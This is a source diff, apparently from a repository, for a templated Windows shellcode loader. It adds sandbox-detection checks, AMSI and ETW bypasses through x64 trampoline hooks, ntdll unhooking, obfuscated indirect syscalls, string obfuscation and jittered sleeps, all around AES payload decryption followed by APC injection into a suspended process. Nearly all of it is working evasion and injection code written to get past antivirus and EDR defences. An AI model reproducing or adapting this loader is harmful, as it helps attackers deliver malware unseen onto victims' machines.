Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
// Cleanup: Zero out sensitive data before freeing
if (pEncPayload) {
SecureZeroMemory(pEncPayload, sEncPayload);
free(pEncPayload);
pEncPayload = NULL;
}
if (pClearText) {
SecureZeroMemory(pClearText, sEncPayload);
free(pClearText);
pClearText = NULL;
}
// Zero out encryption keys
SecureZeroMemory(aes_k, sizeof(aes_k));
SecureZeroMemory(aes_i, sizeof(aes_i));
SecureZeroMemory(&ctx, sizeof(ctx));
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
if (hThread)
CloseHandle(hThread);
if (hProcess)
CloseHandle(hProcess);
return 0;
}
+32 -31
View File
@@ -4,6 +4,8 @@
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#include "sandbox.h"
#include "trampoline.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
@@ -31,6 +33,9 @@ extern __declspec(dllexport) int ctf()
NTSTATUS STATUS = 0x00;
// Seed RNG for jittered sleep timing
srand((unsigned int)GetTickCount());
// #-SANDBOX_CHECK_CALL-#
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
@@ -38,8 +43,11 @@ extern __declspec(dllexport) int ctf()
if (!Unhook(nt))
return -1;
// Install hooks AFTER unhooking so they don't get erased
// #-TRAMPOLINE_CALL-#
Sleep(500);
JITTER_SLEEP(500);
if (!GetContent(&pEncPayload, &sEncPayload)) {
//printf("[-] Failed to get the data!\n");
@@ -52,7 +60,7 @@ extern __declspec(dllexport) int ctf()
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
JITTER_SLEEP(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
@@ -60,7 +68,7 @@ extern __declspec(dllexport) int ctf()
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
JITTER_SLEEP(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
@@ -70,36 +78,29 @@ extern __declspec(dllexport) int ctf()
}
//printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
//printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
//printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
//printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
JITTER_SLEEP(2500);
// #-INJECTION_METHOD_PLACEHOLDER-#
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
//printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
//printf("[+] Payload executed!\n");
// Cleanup: Zero out sensitive data before freeing
if (pEncPayload) {
SecureZeroMemory(pEncPayload, sEncPayload);
free(pEncPayload);
pEncPayload = NULL;
}
if (pClearText) {
SecureZeroMemory(pClearText, sEncPayload);
free(pClearText);
pClearText = NULL;
}
// Zero out encryption keys
SecureZeroMemory(aes_k, sizeof(aes_k));
SecureZeroMemory(aes_i, sizeof(aes_i));
SecureZeroMemory(&ctx, sizeof(ctx));
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
if (hThread)
CloseHandle(hThread);
if (hProcess)
CloseHandle(hProcess);
return 0;
+61
View File
@@ -0,0 +1,61 @@
#include <windows.h>
#include "sandbox.h"
#include "functions.h"
/*
* RunSandboxChecks
*
* Lightweight pre-flight checks before payload execution.
* Returns TRUE -> environment looks like a real workstation.
* Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly.
*
* All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH /
* GetModuleHandleH) so no suspicious IAT entries appear in the binary.
*
* Checks performed:
* 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms
* 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB
* 3. Logical CPU count < #-SANDBOX_MIN_CPU-#
*/
typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void);
typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX);
typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO);
BOOL RunSandboxChecks(void) {
HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#);
if (!hK32)
return FALSE;
/* --- 1. Uptime --- */
pGetTickCount64_t fnGTC64 =
(pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#);
if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#)
return FALSE;
/* --- 2. RAM --- */
pGlobalMemoryStatusEx_t fnGMSE =
(pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#);
if (!fnGMSE)
return FALSE;
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
if (!fnGMSE(&ms))
return FALSE;
if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#)
return FALSE;
/* --- 3. CPU count --- */
pGetSystemInfo_t fnGSI =
(pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#);
if (!fnGSI)
return FALSE;
SYSTEM_INFO si;
fnGSI(&si);
if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#)
return FALSE;
return TRUE;
}
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <windows.h>
/*
* RunSandboxChecks — returns TRUE if the environment looks legitimate.
* Call this early in the entry point; bail out if it returns FALSE.
*/
BOOL RunSandboxChecks(void);
+307
View File
@@ -0,0 +1,307 @@
/*
* trampoline.c
*
* AMSI & ETW bypass via x64 trampoline hooks.
* Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte).
*
* All WinAPI calls are resolved at runtime via API hashing so no
* suspicious IAT entries appear in the binary.
*/
// #-DEBUG_DEFINE-#
#include <windows.h>
#include <stdint.h>
#include "functions.h"
#include "trampoline.h"
#ifdef DEBUG
#include <stdio.h>
#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0)
#else
#define DBG(fmt, ...) ((void)0)
#endif
#define TRAMPOLINE_SIZE 13
extern void RetStub(void);
typedef HANDLE HAMSICONTEXT;
typedef HANDLE HAMSISESSION;
#define AMSI_RESULT_CLEAN 0
typedef int AMSI_RESULT;
typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)(
HAMSICONTEXT, PVOID Buffer, ULONG Length,
LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result);
static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL;
BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction)
{
// First getting a pointer to the EtwEventWriteEx function
PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH(
GetModuleHandleH(#-NTDLL_VALUE-#),
#-ETWEVENTWRITEEX_VALUE-#);
if (pEtwEventWriteEx == NULL)
{
DBG("[-] Failed to get EtwEventWriteEx");
return FALSE;
}
DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx);
PVOID pTargetFunction = NULL,
pTemp = NULL;
int i = 0;
// 1. We start at the pointers address and go down the memory lane to find the C3 instruction
while(1)
{
BYTE opcode = pEtwEventWriteEx[i];
// 2. We have reached the RET instruction, stop there
if (pEtwEventWriteEx[i] == 0xC3)
{
break;
}
i++;
}
// 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction.
// 4. We loop again, this time we move "upwards" to hit the CALL instruction
while (i)
{
BYTE opcode = pEtwEventWriteEx[i];
// 5. We have reached the CALL instruction
if (opcode == 0xE8)
{
// We get the relative address for EtwpEventWriteEx.
// pEtwEventWriteEx + i -> this is the CALL instruction
// + 1 gets you the first byte of the displacement
// I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly
int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1);
DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative);
// We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull.
pTargetFunction = pEtwEventWriteEx + i + 5 + relative;
DBG("pTargetFunction at position: 0x%p", pTargetFunction);
// 6. pTargetFunction is now EtwpEventWriteFull
*ppFunction = pTargetFunction;
return TRUE;
}
i--;
}
return FALSE;
}
BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt)
{
DWORD dwOldProtect = 0;
// Trampoline x64
uint8_t uTrampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
0x41, 0xFF, 0xE2 // jmp r10
};
// The actual patch
uint64_t patch = (uint64_t)(pDetourFunction);
// Prepare the jump point
memcpy(&uTrampoline[2], &patch, sizeof(patch));
DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction);
// Dump the bytes we intend to write
DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3],
uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7],
uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]);
// Dump the original bytes at the target before we touch anything
{
BYTE *p = (BYTE *)pHookedFunction;
DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
p[7], p[8], p[9], p[10], p[11], p[12]);
}
// Saving the old function
PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pTmp == NULL)
{
DBG(" VirtualAlloc failed for backup: %lu", GetLastError());
return FALSE;
}
memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE);
*pOriginalFunc = pTmp;
// Changing memory permissions for the function you want to hook
if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
DBG(" VirtualProtect failed: %lu", GetLastError());
return FALSE;
}
DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect);
// Write using volatile pointer to prevent compiler from optimizing the write away
volatile BYTE *dst = (volatile BYTE *)pHookedFunction;
for (int i = 0; i < TRAMPOLINE_SIZE; i++)
{
dst[i] = uTrampoline[i];
}
// Flush instruction cache so the CPU picks up the new bytes
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
// Verify the write actually landed
{
BYTE *p = (BYTE *)pHookedFunction;
DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
p[7], p[8], p[9], p[10], p[11], p[12]);
if (p[0] != 0x49 || p[1] != 0xBA)
{
DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback...");
SIZE_T written = 0;
if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written))
{
DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written);
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
// Re-check
if (p[0] != 0x49 || p[1] != 0xBA)
{
DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG.");
return FALSE;
}
}
else
{
DBG(" WriteProcessMemory failed: %lu", GetLastError());
return FALSE;
}
}
}
DBG(" Trampoline verified and set!");
// Assigning values
*dwOldProt = dwOldProtect;
return TRUE;
}
BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN PVOID pOriginalFunction, IN DWORD dwOldProtect)
{
DWORD dwNewProtect = 0,
dwOldProtection = 0;
// Setting the original function
memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE);
// Restoring the old protetion values
if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect))
{
DBG("Failed to restore memory protection: %lu", GetLastError());
return FALSE;
}
return TRUE;
}
// Function to just RET when a hooked function is called
VOID BlockExecutionFlow(PCONTEXT pCtx)
{
// Altering execution flow by placing the instruction pointer to the RetStub
pCtx->Rip = (ULONG_PTR)&RetStub;
}
HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes)
{
// Changing the return value
*pRes = AMSI_RESULT_CLEAN;
// returning SUCCESS code
return S_OK;
}
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw)
{
PVOID pOriginalEtwFunc = NULL,
pEtwpEventWriteFull = NULL,
pOriginalAmsiFunc = NULL;
DWORD dwOldProtectAmsi = 0,
dwOldProtectEtw = 0;
if (bypassEtw) {
HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#);
DBG("Fetching EtwpEventWriteFull..");
/* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */
GetEtwpEventWriteFull(&pEtwpEventWriteFull);
if (pEtwpEventWriteFull) {
if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw))
{
DBG("Failed to trampoline EtwpEventWriteFull");
}
else
{
DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull);
DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw);
}
} else {
DBG("Could not locate EtwpEventWriteFull, skipping");
}
DBG("ETW hooking phase complete");
}
if (bypassAmsi) {
/* Force-load amsi.dll if not already present.
* String is built on the stack -- no static "amsi.dll" in the binary. */
HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#);
if (!hAmsi) {
char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5,
'.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 };
for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5;
hAmsi = LoadLibraryA(amsi);
}
if (!hAmsi) {
DBG("Failed to load AMSI.DLL");
return FALSE;
}
/* Resolve AmsiScanBuffer via API hashing -- no IAT entry */
PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#);
if (pAmsiScanBuff == NULL) {
DBG("Failed to get AmsiScanBuffer");
return FALSE;
}
DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff);
if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi))
{
DBG("Failed to trampoline AmsiScanBuffer");
return FALSE;
}
DBG("AmsiScanBuffer is now hooked");
DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi);
}
return TRUE;
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include <windows.h>
/*
* trampoline.h
*
* AMSI & ETW bypass via x64 trampoline hooks.
* Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte).
*
* InstallTrampolines
* bypassAmsi hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN
* bypassEtw hook EtwpEventWriteFull -> silent no-op return
*
* Returns TRUE on success (or when both flags are FALSE).
*/
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw);
-1
View File
@@ -89,7 +89,6 @@ LPVOID MapNtdll() {
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
getchar();
return NULL;
}
return pntdll;
+59 -112
View File
@@ -1,123 +1,70 @@
; ===============================================================
; NASM x64 version of your assembly.
; Save as "whispers-asm.nasm", for example.
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
; ===============================================================
bits 64
default rel
bits 64 ; 64-bit code
default rel ; Use RIP-relative addressing by default
; XOR keys — values in .data are stored masked so plaintext never sits on disk
%define KEY_SSN 0xD3C97B2F
%define KEY_ADDR 0xD3C97B2FD3C97B2F
; ---------------------------------------------------------------------------
; .data — stored as (realValue ^ key); decoded at dispatch time
; ---------------------------------------------------------------------------
section .data
dwSSN dd 0
qAddr dq 0
; ---------------------------------------------------------------------------
; .text
; ---------------------------------------------------------------------------
section .text
; Export the labels so your C code can call them
global NTAVM
global NTPVM
global NTWVM
global NTQAT
; Declare external symbols (the calls to these are in your code)
extern SW3_GetSyscallNumber
extern SW3_GetRandomSyscallAddress
; ---------------------------------------------------------------------------
; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx])
; XOR-masks both values before storing so .data never holds plaintext.
; ---------------------------------------------------------------------------
global SetConfig
SetConfig:
push rax
xor ecx, KEY_SSN ; mask SSN before store
mov dword [rel dwSSN], ecx
mov rax, KEY_ADDR ; mask address before store
xor rdx, rax
mov qword [rel qAddr], rdx
pop rax
ret
; ---------------------------------------------------------------------------
; NTAVM
; HellHall dispatch — four typed aliases, one body
;
; Obfuscation applied:
; • address decoded into r11 BEFORE eax is set (avoids rax clobber)
; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern
; • junk ops interspersed to break byte-signature matching
; ---------------------------------------------------------------------------
NTAVM:
mov [rsp + 8], rcx ; Save registers
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
global HellHall_NtAVM
global HellHall_NtPVM
global HellHall_NtWVM
global HellHall_NtQAT
sub rsp, 0x28
mov ecx, 0xC189CD1E ; Load function hash into ECX
call SW3_GetRandomSyscallAddress
mov r11, rax ; Save the address of the syscall
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8] ; Restore registers
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call
HellHall_NtAVM:
HellHall_NtPVM:
HellHall_NtWVM:
HellHall_NtQAT:
mov r10, rcx ; NT ABI: first arg → r10
and r8d, r8d ; [junk] dead flag test on arg3
mov r11, qword [rel qAddr] ; load masked address
mov rax, KEY_ADDR ; decode key (rax free — eax not set yet)
xor r11, rax ; r11 = real syscall instruction address
or r9d, r9d ; [junk] dead flag test on arg4
mov eax, dword [rel dwSSN] ; load masked SSN
xor eax, KEY_SSN ; eax = real SSN
push r11 ; push target onto stack …
ret ; … ret pops it → no jmp pattern
; ---------------------------------------------------------------------------
; NTPVM
; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0)
; ---------------------------------------------------------------------------
NTPVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x159D0313 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x159D0313 ; Re-load function hash
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTWVM
; ---------------------------------------------------------------------------
NTWVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x83179B97 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x83179B97
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTQAT
; ---------------------------------------------------------------------------
NTQAT:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x88AE129F ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x88AE129F
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; End of file
global RetStub
RetStub:
neg rax ; [junk] overwritten by xor below
xor eax, eax
ret
+5 -277
View File
@@ -1,278 +1,6 @@
/*
* whispers.c — SysWhispers3 replaced by Hell's Hall.
* This file is kept so the Makefile does not need changes.
* All syscall logic is in hellhall.c.
*/
#include "whispers.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
+4 -99
View File
@@ -1,100 +1,5 @@
/*
* whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c)
*/
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
